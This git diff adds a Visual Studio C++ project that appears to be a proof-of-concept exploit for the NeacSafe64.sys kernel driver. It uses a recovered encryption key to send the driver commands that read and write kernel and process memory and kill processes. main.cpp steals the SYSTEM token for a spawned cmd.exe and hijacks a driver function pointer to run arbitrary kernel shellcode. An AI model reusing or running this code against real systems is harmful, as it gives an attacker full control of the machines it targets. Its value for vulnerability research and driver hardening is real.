diff --git a/NeacController.sln b/NeacController.sln
new file mode 100644
index 0000000..976dc7e
--- /dev/null
+++ b/NeacController.sln
@@ -0,0 +1,31 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio Version 16
+VisualStudioVersion = 16.0.32802.440
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "NeacController", "NeacController\NeacController.vcxproj", "{CBEB2E8A-2DD1-4012-AC5B-80B2F2E14432}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|x64 = Debug|x64
+ Debug|x86 = Debug|x86
+ Release|x64 = Release|x64
+ Release|x86 = Release|x86
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {CBEB2E8A-2DD1-4012-AC5B-80B2F2E14432}.Debug|x64.ActiveCfg = Debug|x64
+ {CBEB2E8A-2DD1-4012-AC5B-80B2F2E14432}.Debug|x64.Build.0 = Debug|x64
+ {CBEB2E8A-2DD1-4012-AC5B-80B2F2E14432}.Debug|x86.ActiveCfg = Debug|Win32
+ {CBEB2E8A-2DD1-4012-AC5B-80B2F2E14432}.Debug|x86.Build.0 = Debug|Win32
+ {CBEB2E8A-2DD1-4012-AC5B-80B2F2E14432}.Release|x64.ActiveCfg = Release|x64
+ {CBEB2E8A-2DD1-4012-AC5B-80B2F2E14432}.Release|x64.Build.0 = Release|x64
+ {CBEB2E8A-2DD1-4012-AC5B-80B2F2E14432}.Release|x86.ActiveCfg = Release|Win32
+ {CBEB2E8A-2DD1-4012-AC5B-80B2F2E14432}.Release|x86.Build.0 = Release|Win32
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
+ EndGlobalSection
+ GlobalSection(ExtensibilityGlobals) = postSolution
+ SolutionGuid = {52461444-2090-44F8-A40C-24A3272C5F1D}
+ EndGlobalSection
+EndGlobal
diff --git a/NeacController/NeacController.vcxproj b/NeacController/NeacController.vcxproj
new file mode 100644
index 0000000..2261a29
--- /dev/null
+++ b/NeacController/NeacController.vcxproj
@@ -0,0 +1,155 @@
+
+
+
+
+ Debug
+ Win32
+
+
+ Release
+ Win32
+
+
+ Debug
+ x64
+
+
+ Release
+ x64
+
+
+
+ 16.0
+ Win32Proj
+ {cbeb2e8a-2dd1-4012-ac5b-80b2f2e14432}
+ NeacController
+ 10.0
+
+
+
+ Application
+ true
+ v142
+ Unicode
+
+
+ Application
+ false
+ v142
+ true
+ Unicode
+
+
+ Application
+ true
+ v142
+ Unicode
+
+
+ Application
+ false
+ v142
+ true
+ Unicode
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ true
+
+
+ false
+
+
+ true
+
+
+ false
+
+
+
+ Level3
+ true
+ WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+
+
+
+
+ Level3
+ true
+ true
+ true
+ WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+ true
+ true
+
+
+
+
+ Level3
+ true
+ _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+ MultiThreadedDebug
+
+
+ Console
+ true
+ fltlib.lib;%(AdditionalDependencies)
+
+
+
+
+ Level3
+ true
+ true
+ true
+ NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+ true
+ true
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/NeacController/NeacController.vcxproj.filters b/NeacController/NeacController.vcxproj.filters
new file mode 100644
index 0000000..cb3d2c3
--- /dev/null
+++ b/NeacController/NeacController.vcxproj.filters
@@ -0,0 +1,36 @@
+
+
+
+
+ {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
+ cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
+
+
+ {93995380-89BD-4b04-88EB-625FBE52EBFB}
+ h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
+
+
+ {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
+ rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
+
+
+
+
+ 源文件
+
+
+ 源文件
+
+
+ 源文件
+
+
+
+
+ 源文件
+
+
+ 源文件
+
+
+
\ No newline at end of file
diff --git a/NeacController/NeacController.vcxproj.user b/NeacController/NeacController.vcxproj.user
new file mode 100644
index 0000000..88a5509
--- /dev/null
+++ b/NeacController/NeacController.vcxproj.user
@@ -0,0 +1,4 @@
+
+
+
+
\ No newline at end of file
diff --git a/NeacController/controller.cpp b/NeacController/controller.cpp
new file mode 100644
index 0000000..ed12879
--- /dev/null
+++ b/NeacController/controller.cpp
@@ -0,0 +1,332 @@
+#pragma once
+#include"controller.h"
+#pragma pack(1)
+struct NEAC_FILTER_CONNECT {
+ DWORD Magic;
+ DWORD Version;
+ BYTE EncKey[32];
+};
+#pragma pack()
+BYTE Key[33] = "FuckKeenFuckKeenFuckKeenFuckKeen";
+unsigned char enc_imm[] =
+{
+ 0x7A, 0x54, 0xE5, 0x41, 0x8B, 0xDB, 0xB0, 0x55, 0x7A, 0xBD,
+ 0x01, 0xBD, 0x1A, 0x7F, 0x9E, 0x17
+};
+void encrypt(unsigned int *buffer, unsigned int idx)
+{
+ __m128i v2; // xmm0
+ unsigned int *result; // rax
+ int v4; // r9d
+ __m128i v5; // xmm0
+ __m128i v8; // [rsp+20h] [rbp-18h] BYREF
+
+ __m128i imm = _mm_load_si128((__m128i*)enc_imm);
+ __m128i zero;
+ memset(&zero, 0 ,sizeof(__m128i));
+ v2 = _mm_cvtsi32_si128(idx);
+ result = &v8.m128i_u32[3];
+ v8 = _mm_xor_si128(
+ _mm_shuffle_epi32(_mm_shufflelo_epi16(_mm_unpacklo_epi8(v2, v2), 0), 0),
+ imm);
+ v4 = 0;
+ v5 = _mm_cvtsi32_si128(0x4070E1Fu);
+ do
+ {
+ __m128i v6 = _mm_shufflelo_epi16(_mm_unpacklo_epi8(_mm_or_si128(_mm_cvtsi32_si128(*result), v5), zero), 27);
+ v6 = _mm_packus_epi16(v6, v6);
+ *buffer = (*buffer ^ ~idx) ^ v6.m128i_u32[0] ^ idx;
+ ++buffer;
+ result = (unsigned int *)((char *)result - 1);
+ v4++;
+ }
+ while ( v4 < 4 );
+ return;
+}
+
+void encode_payload(PBYTE key, PBYTE buffer, SIZE_T size) {
+ for(int i = 0; i < size; i++) {
+ buffer[i] ^= key[i & 31];
+ }
+ unsigned int* ptr = (unsigned int*)buffer;
+ unsigned int v12 = 0;
+ do
+ {
+ encrypt(ptr, v12++);
+ ptr += 4;
+ }
+ while ( v12 < size >> 4 );
+}
+
+HANDLE connect_driver() {
+ NEAC_FILTER_CONNECT lpContext;
+ lpContext.Magic = 0x4655434B;
+ lpContext.Version = 8;
+ memcpy(lpContext.EncKey, Key, 32);
+ HANDLE hPort;
+ HRESULT hResult = FilterConnectCommunicationPort(L"\\OWNeacSafePort",
+ FLT_PORT_FLAG_SYNC_HANDLE,
+ &lpContext,
+ 40,
+ NULL,
+ &hPort
+ );
+ if(hResult != S_OK || hPort == INVALID_HANDLE_VALUE) {
+ return INVALID_HANDLE_VALUE;
+ }
+ return hPort;
+}
+
+#pragma pack(1)
+struct GET_PROC_BASE_PACKET {
+ BYTE Opcode;
+ DWORD Pid;
+};
+#pragma pack()
+PVOID get_proc_base(HANDLE hPort, DWORD Pid) {
+ const int buffersize = (sizeof(GET_PROC_BASE_PACKET) / 16 + 1) * 16;
+ BYTE buffer[buffersize];
+ GET_PROC_BASE_PACKET *ptr = (GET_PROC_BASE_PACKET *)buffer;
+ ptr->Pid = Pid;
+ ptr->Opcode = 32;
+ encode_payload(Key, buffer, 16);
+
+ BYTE result[16];
+ DWORD out;
+ HRESULT hResult = FilterSendMessage(hPort, buffer, buffersize, result, 16, &out);
+ if(hResult == S_OK) {
+ PVOID *data = (PVOID*)result;
+ return *data;
+ }
+ return NULL;
+}
+#pragma pack(1)
+struct READ_MEMORY_PACKET {
+ BYTE Opcode;
+ DWORD Pid;
+ PVOID Addr;
+ DWORD Size;
+};
+#pragma pack()
+DWORD read_proc_memory(HANDLE hPort, DWORD Pid, PVOID Addr, DWORD Size, PVOID Out) {
+ const int buffersize = (sizeof(READ_MEMORY_PACKET) / 16 + 1) * 16;
+ BYTE buffer[buffersize];
+ READ_MEMORY_PACKET *ptr = (READ_MEMORY_PACKET *)buffer;
+ ptr->Pid = Pid;
+ ptr->Opcode = 9;
+ ptr->Addr = Addr;
+ ptr->Size = Size;
+ encode_payload(Key, buffer, buffersize);
+
+ DWORD out_size;
+
+ HRESULT hResult = FilterSendMessage(hPort, buffer, buffersize, Out, Size, &out_size);
+ if(hResult == S_OK) {
+ return out_size;
+ }
+ return 0;
+}
+
+#pragma pack(1)
+struct WRITE_MEMORY_PACKET {
+ BYTE Opcode;
+ DWORD Pid;
+ PVOID Addr;
+ DWORD Size;
+};
+#pragma pack()
+
+DWORD write_proc_memory(HANDLE hPort, DWORD Pid, PVOID Addr, DWORD Size, PVOID In) {
+ const int buffersize = (sizeof(WRITE_MEMORY_PACKET) / 16 + 1) * 16;
+ BYTE buffer[buffersize];
+ WRITE_MEMORY_PACKET *ptr = (WRITE_MEMORY_PACKET *)buffer;
+ ptr->Pid = Pid;
+ ptr->Opcode = 61;
+ ptr->Addr = Addr;
+ ptr->Size = Size;
+ encode_payload(Key, buffer, buffersize);
+
+ DWORD out_size;
+
+ HRESULT hResult = FilterSendMessage(hPort, buffer, buffersize, In, Size, &out_size);
+ if(hResult == S_OK) {
+ return out_size;
+ }
+ return 0;
+}
+
+#pragma pack(1)
+struct PROTECT_MEMORY_PACKET {
+ BYTE Opcode;
+ DWORD Pid;
+ PVOID Addr;
+ DWORD Size;
+ DWORD NewProtect;
+};
+#pragma pack()
+
+BOOL protect_memory(HANDLE hPort, DWORD Pid, PVOID Addr, DWORD Size, DWORD NewProtect) {
+ const int buffersize = (sizeof(PROTECT_MEMORY_PACKET) / 16 + 1) * 16;
+ BYTE buffer[buffersize];
+ PROTECT_MEMORY_PACKET *ptr = (PROTECT_MEMORY_PACKET *)buffer;
+ ptr->Pid = Pid;
+ ptr->Opcode = 60;
+ ptr->Addr = Addr;
+ ptr->Size = Size;
+ ptr->NewProtect = NewProtect;
+ encode_payload(Key, buffer, buffersize);
+
+ DWORD out_size;
+
+ HRESULT hResult = FilterSendMessage(hPort, buffer, buffersize, NULL, NULL, &out_size);
+ if(hResult == S_OK) {
+ return TRUE;
+ }
+ return FALSE;
+}
+#pragma pack(1)
+struct START_WATCH_PACKET {
+ BYTE Opcode;
+ BYTE FunctionId;
+ BYTE State;
+};
+#pragma pack()
+
+BOOL update_state(HANDLE hPort, BYTE FunctionId, BYTE State) {
+ const int buffersize = (sizeof(START_WATCH_PACKET) / 16 + 1) * 16;
+ BYTE buffer[buffersize];
+ START_WATCH_PACKET *ptr = (START_WATCH_PACKET *)buffer;
+ ptr->Opcode = 1;
+ ptr->FunctionId = FunctionId;
+ ptr->State = State;
+ encode_payload(Key, buffer, buffersize);
+
+ DWORD out_size;
+
+ HRESULT hResult = FilterSendMessage(hPort, buffer, buffersize, NULL, NULL, &out_size);
+ if(hResult == S_OK) {
+ return TRUE;
+ }
+ return FALSE;
+}
+
+#pragma pack(1)
+struct KERNEL_WRITE_PACKET {
+ BYTE Opcode;
+ PVOID Dst;
+ PVOID Src;
+ DWORD Size;
+};
+#pragma pack()
+
+BOOL kernel_write_data(HANDLE hPort, PVOID Dst, PVOID Src, DWORD Size) {
+ const int buffersize = (sizeof(KERNEL_WRITE_PACKET) / 16 + 1) * 16;
+ BYTE buffer[buffersize];
+ KERNEL_WRITE_PACKET *ptr = (KERNEL_WRITE_PACKET *)buffer;
+ ptr->Opcode = 70;
+ ptr->Dst = Dst;
+ ptr->Src = Src;
+ ptr->Size = Size;
+ encode_payload(Key, buffer, buffersize);
+
+ DWORD out_size;
+
+ HRESULT hResult = FilterSendMessage(hPort, buffer, buffersize, NULL, NULL, &out_size);
+ if(hResult == S_OK) {
+ return TRUE;
+ }
+ return FALSE;
+}
+
+#pragma pack(1)
+struct KERNEL_READ_PACKET {
+ BYTE Opcode;
+ PVOID Src;
+ DWORD Size;
+};
+#pragma pack()
+
+BOOL kernel_read_data(HANDLE hPort, PVOID Dst, PVOID Src, DWORD Size) {
+ const int buffersize = (sizeof(KERNEL_READ_PACKET) / 16 + 1) * 16;
+ BYTE buffer[buffersize];
+ KERNEL_READ_PACKET *ptr = (KERNEL_READ_PACKET *)buffer;
+ ptr->Opcode = 14;
+ ptr->Src = Src;
+ ptr->Size = Size;
+ encode_payload(Key, buffer, buffersize);
+
+ DWORD out_size;
+ HRESULT hResult = FilterSendMessage(hPort, buffer, buffersize, Dst, Size, &out_size);
+ if(hResult == S_OK) {
+ return TRUE;
+ }
+ return FALSE;
+}
+
+#pragma pack(1)
+struct KILL_PROCESS_PACKET {
+ BYTE Opcode;
+ DWORD Pid;
+};
+#pragma pack()
+
+BOOL kill_process(HANDLE hPort, DWORD Pid) {
+ const int buffersize = (sizeof(KILL_PROCESS_PACKET) / 16 + 1) * 16;
+ BYTE buffer[buffersize];
+ KILL_PROCESS_PACKET *ptr = (KILL_PROCESS_PACKET *)buffer;
+ ptr->Opcode = 20;
+ ptr->Pid = Pid;
+ encode_payload(Key, buffer, buffersize);
+
+ DWORD out_size;
+ HRESULT hResult = FilterSendMessage(hPort, buffer, buffersize, NULL, NULL, &out_size);
+ if(hResult == S_OK) {
+ return TRUE;
+ }
+ return FALSE;
+}
+
+#pragma pack(1)
+struct GET_SSDT_PACKET {
+ BYTE Opcode;
+};
+#pragma pack()
+
+BOOL get_ssdt_items(HANDLE hPort, PVOID Out, DWORD Size) {
+ const int buffersize = (sizeof(GET_SSDT_PACKET) / 16 + 1) * 16;
+ BYTE buffer[buffersize];
+ GET_SSDT_PACKET *ptr = (GET_SSDT_PACKET *)buffer;
+ ptr->Opcode = 12;
+ encode_payload(Key, buffer, buffersize);
+
+ DWORD out_size;
+ HRESULT hResult = FilterSendMessage(hPort, buffer, buffersize, Out, Size, &out_size);
+
+ if(hResult == S_OK) {
+ return TRUE;
+ }
+ return FALSE;
+}
+
+
+
+#pragma pack(1)
+struct NOTIFY_MESSAGE_BASE {
+ FILTER_MESSAGE_HEADER Header;
+ BYTE NotifyType;
+ DWORD MessageSize;
+ DWORD64 Time;
+};
+struct PROCESS_NOTIFY_MESSAGE : NOTIFY_MESSAGE_BASE {
+ DWORD64 Counter;
+ BYTE Flag;
+ BYTE CreateFlag;
+ DWORD CurrentPid;
+ DWORD CurrentTid;
+ DWORD ParentPid;
+ BYTE Padding[13];
+ WCHAR ProcName1[512];
+ WCHAR ProcName2[512];
+ PVOID BackTrace[32];
+};
+#pragma pack()
\ No newline at end of file
diff --git a/NeacController/controller.h b/NeacController/controller.h
new file mode 100644
index 0000000..5afa08c
--- /dev/null
+++ b/NeacController/controller.h
@@ -0,0 +1,24 @@
+#pragma once
+#include
+#include
+#include
+#include
+HANDLE connect_driver();
+
+PVOID get_proc_base(HANDLE hPort, DWORD Pid);
+
+DWORD read_proc_memory(HANDLE hPort, DWORD Pid, PVOID Addr, DWORD Size, PVOID Out);
+
+DWORD write_proc_memory(HANDLE hPort, DWORD Pid, PVOID Addr, DWORD Size, PVOID In);
+
+BOOL protect_memory(HANDLE hPort, DWORD Pid, PVOID Addr, DWORD Size, DWORD NewProtect);
+
+BOOL update_state(HANDLE hPort, BYTE FunctionId, BYTE State);
+
+BOOL kernel_write_data(HANDLE hPort, PVOID Dst, PVOID Src, DWORD Size);
+
+BOOL kernel_read_data(HANDLE hPort, PVOID Dst, PVOID Src, DWORD Size);
+
+BOOL kill_process(HANDLE hPort, DWORD Pid);
+
+BOOL get_ssdt_items(HANDLE hPort, PVOID Out, DWORD Size);
\ No newline at end of file
diff --git a/NeacController/main.cpp b/NeacController/main.cpp
new file mode 100644
index 0000000..4d836cd
--- /dev/null
+++ b/NeacController/main.cpp
@@ -0,0 +1,252 @@
+// NeacController.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
+//
+
+#include
+
+#include
+#include"controller.h"
+#include"service.h"
+
+DWORD parse_export_rva(const BYTE* moduleBase, const char* funcName) {
+ PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)moduleBase;
+ if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) return 0;
+
+ PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(moduleBase + dosHeader->e_lfanew);
+ IMAGE_DATA_DIRECTORY exportDirEntry = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
+ if (exportDirEntry.VirtualAddress == 0) return 0;
+
+ PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)(moduleBase + exportDirEntry.VirtualAddress);
+ DWORD* nameRvas = (DWORD*)(moduleBase + exportDir->AddressOfNames);
+ WORD* ordinals = (WORD*)(moduleBase + exportDir->AddressOfNameOrdinals);
+ DWORD* funcRvas = (DWORD*)(moduleBase + exportDir->AddressOfFunctions);
+
+ for (DWORD i = 0; i < exportDir->NumberOfNames; i++) {
+ const char* name = (const char*)(moduleBase + nameRvas[i]);
+ if (_stricmp(name, funcName) == 0) {
+ WORD ordinal = ordinals[i];
+ return funcRvas[ordinal];
+ }
+ }
+ return 0;
+}
+DWORD get_export_rva(const char *funcName) {
+ char system32Path[MAX_PATH];
+
+ GetSystemDirectoryA(system32Path, MAX_PATH);
+
+ std::string kernelPath = std::string(system32Path) + "\\ntoskrnl.exe";
+
+ HANDLE hFile = CreateFileA(kernelPath.c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
+ if (hFile == INVALID_HANDLE_VALUE) {
+ return NULL;
+ }
+
+ HANDLE hMapping = CreateFileMapping(
+ hFile,
+ NULL,
+ SEC_IMAGE | PAGE_READONLY,
+ 0, 0,
+ NULL
+ );;
+ if (!hMapping) {
+ CloseHandle(hFile);
+ return NULL;
+ }
+ const BYTE* fileBase = (const BYTE*)MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
+ if (!fileBase) {
+ CloseHandle(hMapping);
+ CloseHandle(hFile);
+ return NULL;
+ }
+
+ DWORD rva = parse_export_rva(fileBase, funcName);
+ UnmapViewOfFile(fileBase);
+
+ CloseHandle(hMapping);
+ CloseHandle(hFile);
+ return rva;
+}
+
+PVOID SSDT_Items[0x1000];
+HANDLE hPort;
+PVOID find_krnl_images(PVOID PsLoadedModuleList, const wchar_t* name) {
+ PVOID Ptr;
+ kernel_read_data(hPort, &Ptr, PsLoadedModuleList, 8);
+ WCHAR ModuleName[260] = {0};
+ while(Ptr != PsLoadedModuleList) {
+ memset(ModuleName, 0, sizeof(ModuleName));
+ PVOID DllBase;
+ kernel_read_data(hPort, &DllBase, (PBYTE)Ptr + 0x30, 8);
+
+ USHORT NameSize;
+ kernel_read_data(hPort, &NameSize, (PBYTE)Ptr + 0x58, 2);
+
+ PVOID NameAddr;
+ kernel_read_data(hPort, &NameAddr, (PBYTE)Ptr + 0x60, 8);
+
+ kernel_read_data(hPort, &ModuleName, NameAddr, NameSize);
+ if(!lstrcmpW(ModuleName, name)) {
+ return DllBase;
+ }
+ kernel_read_data(hPort, &Ptr, Ptr, 8);
+ }
+ return NULL;
+}
+
+BOOL execute_shellcode(PVOID NeacSafe64Base, BYTE *Shellcode, DWORD Size) {
+ if(Size > 0x10000) {
+ return FALSE;
+ }
+ PVOID MemPtrAddr = (PVOID)((PBYTE)NeacSafe64Base + 0x2165C0);
+ PVOID NonPagedPool;
+ // try to get the address of NonPagedPool buffer in NeacSafe64.sys.
+ if(!kernel_read_data(hPort, &NonPagedPool, MemPtrAddr, 8)) {
+ return FALSE;
+ }
+ // write shellcodes to the buffer
+ if(!kernel_write_data(hPort, NonPagedPool, Shellcode, Size)) {
+ return FALSE;
+ }
+ // change the function pointer(NtProtectVirtualMemory) to NonPagedPool buffer.
+ PVOID FuncPtrAddr = (PVOID)((PBYTE)NeacSafe64Base + 0x219EA0);
+ if(!kernel_write_data(hPort, FuncPtrAddr, &NonPagedPool, 8)) {
+ return FALSE;
+ }
+ // call the function pointer and execute the shellcode.
+ protect_memory(hPort, GetCurrentProcessId(), GetModuleHandle(NULL), 16, 0);
+ return TRUE;
+}
+
+void privileges_escalation(PVOID KrnlBase) {
+ DWORD va = get_export_rva("PsInitialSystemProcess");
+ if(va == NULL) {
+ return;
+ }
+ PVOID PsInitialSystemProcess = (PVOID)((PBYTE)KrnlBase + va);
+ PVOID PsInitialSystemProcessEPROCESS;
+
+ if(!kernel_read_data(hPort, &PsInitialSystemProcessEPROCESS, PsInitialSystemProcess, 8)) {
+ printf("[!] fail to get PsInitialSystemProcess EPROCESS...\n");
+ return;
+ }
+ printf("[+] PsInitialSystemProcess EPROCESS: %p\n", PsInitialSystemProcessEPROCESS);
+ // These tokens will need updating if you are on a different version of Windows!
+ // The offsets can be found here: https://www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/ntos/ps/eprocess/index.htm
+
+ uintptr_t TokenOffset = 0x04B8; // Windows 10 21H2+ and Windows 11 only
+ uintptr_t PIDOffset = 0x0440; // Windows 10 21H2+ and Windows 11 only
+ uintptr_t ActiveProcessLinksOffset = 0x0448; // Windows 10 21H2+ and Windows 11 only
+
+ PVOID SystemToken;
+ if(!kernel_read_data(hPort, &SystemToken, (PBYTE)PsInitialSystemProcessEPROCESS + TokenOffset, 8)) {
+ printf("[!] fail to get SystemToken.\n");
+ return;
+ }
+ printf("[+] SystemToken: %p\n", SystemToken);
+
+ STARTUPINFOA si = {0};
+ PROCESS_INFORMATION pi;
+ CreateProcessA(
+ "C:\\Windows\\system32\\cmd.exe",
+ nullptr,
+ nullptr,
+ nullptr,
+ TRUE,
+ CREATE_NEW_CONSOLE,
+ nullptr,
+ "C:\\Windows",
+ &si,
+ &pi
+ );
+ DWORD OurShellPID = pi.dwProcessId;
+
+
+ LIST_ENTRY activeProcessLinkList;
+ uint64_t NextProcessEPROCESSBlock = (uint64_t)PsInitialSystemProcessEPROCESS;
+ if(!kernel_read_data(hPort, &activeProcessLinkList, (PBYTE)PsInitialSystemProcessEPROCESS + ActiveProcessLinksOffset, sizeof(LIST_ENTRY))) {
+ printf("[!] fail to get ActiveProcessLinks\n");
+ return;
+ }
+ // You can fetch every single process' EPROCESS block from this original Kernel list, we iterate through it till we find our shell's PID.
+ while (true) {
+ DWORD processPID;
+ NextProcessEPROCESSBlock = (uint64_t) activeProcessLinkList.Flink - ActiveProcessLinksOffset;
+ // Fetch PID and compare it
+
+ if(!kernel_read_data(hPort, &processPID, (PBYTE)NextProcessEPROCESSBlock + PIDOffset, 4)) {
+ printf("[!] fail to read memory\n");
+ return;
+ }
+ if (processPID == OurShellPID) {
+
+ PVOID OurShellsToken;
+ if(!kernel_read_data(hPort, &OurShellsToken, (PBYTE)NextProcessEPROCESSBlock + TokenOffset, 8)) {
+ printf("[!] fail to read Token..\n");
+ return;
+ }
+ printf("[+] Token: %p\n", OurShellsToken);
+
+ if(!kernel_write_data(hPort, (PBYTE)NextProcessEPROCESSBlock + TokenOffset, &SystemToken, 8)) {
+ printf("[!] fail to write Token..\n");
+ return;
+ }
+ printf("[+] Success...");
+ break;
+ }
+
+ // go to next process' EPROCESS.
+ kernel_read_data(hPort, &activeProcessLinkList, (PBYTE)NextProcessEPROCESSBlock + ActiveProcessLinksOffset, sizeof(LIST_ENTRY));
+ }
+
+}
+int main()
+{
+ start_driver();
+ hPort = connect_driver();
+ if(hPort == INVALID_HANDLE_VALUE) {
+ printf("[!] fail to connect to driver\n");
+ }
+ get_ssdt_items(hPort, SSDT_Items, sizeof(SSDT_Items));
+ DWORD rva = get_export_rva("NtWaitForSingleObject");
+ if(rva == 0) {
+ printf("[!] fail to get the rva of NtWaitForSingleObject\n");
+ return 0;
+ }
+ if(SSDT_Items[4] == 0) {
+ printf("[!] fail to get the address of NtWaitForSingleObject\n");
+ return 0;
+ }
+ PVOID KrnlBase = (PVOID)((PBYTE)SSDT_Items[4] - rva);
+ // calcuating the kernel module base.
+ printf("[+] kernel module base address: %p\n", KrnlBase);
+
+ rva = get_export_rva("PsLoadedModuleList");
+ if(rva == 0) {
+ printf("[!] fail to get the rva of PsLoadedModuleList\n");
+ return 0;
+ }
+ PVOID PsLoadedModuleList = (PVOID)((PBYTE)KrnlBase + rva);
+ PVOID NeacSafe64Base = find_krnl_images(PsLoadedModuleList, L"NeacSafe64.sys");
+ if(!NeacSafe64Base) {
+ printf("[!] fail to get the module base address of NeacSafe64.sys\n");
+ return 0;
+ }
+ printf("[+] NeacSafe64.sys module base address: %p\n", NeacSafe64Base);
+
+ // test Escalation of Privileges
+ privileges_escalation(KrnlBase);
+
+ // test Code Execution
+ BYTE Shellcode[2] = {0xC3, 0xCC}; // execute shellcode: ret, nothing will happen.
+ execute_shellcode(NeacSafe64Base, Shellcode, 2);
+
+ /*
+ BYTE Shellcode[2] = {0xCC, 0xCC}; // execute shellcode: int 3, this will cause BSOD.
+ execute_shellcode(NeacSafe64Base, Shellcode, 2);
+ */
+ getchar();
+ CloseHandle(hPort);
+ stop_driver();
+ return 0;
+
+}
\ No newline at end of file
diff --git a/NeacController/service.cpp b/NeacController/service.cpp
new file mode 100644
index 0000000..3a677f4
--- /dev/null
+++ b/NeacController/service.cpp
@@ -0,0 +1,140 @@
+#include"service.h"
+#include
+int start_driver() {
+
+ const wchar_t* SERVICE_NAME = L"NeacSafe64";
+
+ SC_HANDLE scm = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT | SC_MANAGER_ENUMERATE_SERVICE);
+ if (!scm) {
+ printf("[!] OpenSCManager failed (Error: %d)\n", GetLastError());
+ return 1;
+ }
+
+ SC_HANDLE service = OpenService(
+ scm,
+ SERVICE_NAME,
+ SERVICE_QUERY_STATUS | SERVICE_START | SERVICE_STOP
+ );
+
+ if (!service) {
+ DWORD err = GetLastError();
+ if (err == ERROR_SERVICE_DOES_NOT_EXIST) {
+ printf("[!] service not exist\n");
+ } else {
+ printf("[!] OpenService failed (Error: %d)\n", err);
+ }
+ CloseServiceHandle(scm);
+ return 1;
+ }
+
+ SERVICE_STATUS_PROCESS status;
+ DWORD bytesNeeded;
+ if (!QueryServiceStatusEx(
+ service,
+ SC_STATUS_PROCESS_INFO,
+ (LPBYTE)&status,
+ sizeof(status),
+ &bytesNeeded)
+ ) {
+ printf("[!] QueryServiceStatusEx failed (Error: %d)\n", GetLastError());
+ CloseServiceHandle(service);
+ CloseServiceHandle(scm);
+ return 1;
+ }
+ if (status.dwCurrentState != SERVICE_RUNNING) {
+ printf("[*] starting...\n");
+ if (!StartService(service, 0, NULL)) {
+ DWORD err = GetLastError();
+ if (err == ERROR_SERVICE_ALREADY_RUNNING) {
+ printf("[+] already started\n");
+ } else {
+ printf("[!] StartService failed (Error: %d)\n", err);
+ CloseServiceHandle(service);
+ CloseServiceHandle(scm);
+ return 1;
+ }
+ } else {
+ printf("[+] started.\n");
+ }
+ }
+ CloseServiceHandle(service);
+ CloseServiceHandle(scm);
+ return 0;
+}
+
+int stop_driver() {
+
+ const wchar_t* SERVICE_NAME = L"NeacSafe64";
+
+ SC_HANDLE scm = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT | SC_MANAGER_ENUMERATE_SERVICE);
+ if (!scm) {
+ printf("[!] OpenSCManager failed (Error: %d)\n", GetLastError());
+ return 1;
+ }
+
+ SC_HANDLE service = OpenService(
+ scm,
+ SERVICE_NAME,
+ SERVICE_QUERY_STATUS | SERVICE_START | SERVICE_STOP
+ );
+
+ if (!service) {
+ DWORD err = GetLastError();
+ if (err == ERROR_SERVICE_DOES_NOT_EXIST) {
+ printf("[!] service not exist\n");
+ } else {
+ printf("[!] OpenService failed (Error: %d)\n", err);
+ }
+ CloseServiceHandle(scm);
+ return 1;
+ }
+
+ SERVICE_STATUS_PROCESS status;
+ DWORD bytesNeeded;
+ if (!QueryServiceStatusEx(
+ service,
+ SC_STATUS_PROCESS_INFO,
+ (LPBYTE)&status,
+ sizeof(status),
+ &bytesNeeded)
+ ) {
+ printf("[!] QueryServiceStatusEx failed (Error: %d)\n", GetLastError());
+ CloseServiceHandle(service);
+ CloseServiceHandle(scm);
+ return 1;
+ }
+ if (status.dwCurrentState == SERVICE_RUNNING) {
+ printf("[*] stopping...\n");
+ SERVICE_STATUS stopStatus;
+ if (!ControlService(service, SERVICE_CONTROL_STOP, &stopStatus)) {
+ CloseServiceHandle(service);
+ CloseServiceHandle(scm);
+ return 1;
+ }
+ DWORD64 startTime = GetTickCount64();
+ while (status.dwCurrentState != SERVICE_STOPPED) {
+ Sleep(1000);
+ if (!QueryServiceStatusEx(
+ service,
+ SC_STATUS_PROCESS_INFO,
+ (LPBYTE)&status,
+ sizeof(status),
+ &bytesNeeded)
+ ) {
+ printf("[!] QueryServiceStatusEx failed (Error: %d)\n", GetLastError());
+ break;
+ }
+
+ if (GetTickCount64() - startTime > 30000) {
+ printf("[!] time out\n");
+ CloseServiceHandle(service);
+ CloseServiceHandle(scm);
+ return 1;
+ }
+ }
+ printf("[+] stopped\n");
+ }
+ CloseServiceHandle(service);
+ CloseServiceHandle(scm);
+ return 0;
+}
\ No newline at end of file
diff --git a/NeacController/service.h b/NeacController/service.h
new file mode 100644
index 0000000..47bf16c
--- /dev/null
+++ b/NeacController/service.h
@@ -0,0 +1,5 @@
